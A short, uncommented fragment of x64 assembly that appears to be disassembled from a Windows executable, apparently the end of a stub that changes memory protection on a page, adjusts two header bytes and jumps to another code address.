mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400574f8
sub rsp, 0xffffffffffffff80
jmp 0x14000c0d0